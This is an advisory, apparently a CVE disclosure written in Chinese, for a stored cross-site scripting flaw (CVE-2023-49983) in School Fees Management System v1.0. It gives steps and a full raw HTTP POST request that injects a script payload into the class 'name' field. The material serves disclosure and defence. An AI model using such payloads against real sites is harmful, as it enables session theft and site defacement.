描述:School Fees Management System v1.0 的 “/management/class” 组件中存在一个跨站脚本(XSS)漏洞,攻击者可通过向 name 参数注入特制负载来执行任意 Web 脚本或 HTML。
受影响产品版本:School Fees Management System v1.0
CVE 作者:Geraldo Alcântara
日期:2023 年 11 月 28 日
确认日期:2023 年 12 月 19 日
CVE:CVE-2023-49983
测试平台:Windows
要利用此漏洞,具有相应权限的用户必须访问 “/ci_fms/admin/management/class” 页面。在此页面上,用户应编辑现有班级或添加新班级。在此过程中,需要将恶意负载插入到 “name” 参数中。
POST /ci_fms/admin/action/edit_student/1/1 HTTP/1.1
Host: 192.168.68.148
Content-Length: 268
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.68.148
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydFBWs52W42v8XLGe
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.68.148/ci_fms/admin/enrollment/class/1
Accept-Encoding: gzip, deflate, br
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: ci_session=c561k45qbrtsb34f2k30f936v0aijl01
Connection: close
------WebKitFormBoundarydFBWs52W42v8XLGe
Content-Disposition: form-data; name="name"
<script>alert(document.domain)</script>
------WebKitFormBoundarydFBWs52W42v8XLGe
Content-Disposition: form-data; name="parent"
1
------WebKitFormBoundarydFBWs52W42v8XLGe--
发现者/致谢:
Geraldo Alcântara